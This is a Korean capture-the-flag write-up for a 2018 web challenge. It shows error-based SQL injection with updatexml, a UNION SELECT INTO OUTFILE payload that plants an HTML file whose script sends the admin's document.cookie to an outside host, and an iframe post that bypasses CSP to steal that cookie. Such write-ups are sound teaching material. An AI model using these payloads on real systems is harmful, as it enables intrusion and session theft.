Whitehat Contest 2018 PreQual - Strawberry (300 pts.)

Strawberry (Web)

1. 분석

  1. http://106.10.45.44/login.php 에서 회원 가입, 로그인이 가능하다.
  2. http://106.10.45.44/board.php 에서 글 작성 및 글 읽기가 가능하다.

2. 취약점

  1. http://106.10.45.44/view.php?idx=86 and updatexml(1,concat(0x01,user()),1)로 넣게되면 Error based injection이 가능하다.
  2. board글에 XSS가 될 수도 있다.

3. DB 인젝션 결과

  1. current-userroot
  2. rootfile privilege를 가지고 있지만 @@GLOBAL.secure_file_priv확인 결과, /var/www/html/backup_database/admin/에만 read, write가 가능했다.
  3. 즉, http://106.10.45.44/backup_database/admin/안에 원하는 내용의 파일을 적을 수 있다.

추가 분석 및 공격 시나리오

일단 먼저, secure_file_priv때문에 admin.php를 직접 읽어오는것은 불가능해졌다. 그래서 백도어 php를 올려 공격을 해보려 했지만 .htaccessphp를 완전히 꺼버려서 불가능했다.

Query

select load_file(“/var/www/html/backup_database/admin/.htaccess”)

.htaccess

1
2
3
RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off

PHP코드 실행쪽은 잠시 접어두고 XSS쪽을 보면 CSP가 걸려있는걸 볼 수 있었다.

Content-Security-Policy: style-src ‘self’ http://fonts.googleapis.com/; script-src ‘self’ https://www.google.com/recaptcha/api.js https://www.gstatic.com/;

script등 여러가지 필터링이 있었지만 http://106.10.45.44/backup_database/admin/안에 우리가 원하는 html, js등을 만들 수 있다는 것을 이용하면 CSP에 걸리지 않게 XSS를 할 수 있었다.

XSS공격을 위한 HTML 작성

http://106.10.45.44/view.php?idx=1 and 1=2 union select “”,””,”<html><script>location.href=’http://blog.mikumiku.kr:8888/‘ %2b document.cookie;</script></html>” into outfile “/var/www/html/backup_database/admin/dhkzksekvhdpqj1234.html”

글 작성

title : xss

content : <iframe src=/backup_database/admin/dhkzksekvhdpqj1234.html>

admin의 쿠키 획득

쿠키값 변조 후 admin.php 접속

flag : securefilepriv_0n_xss~

Share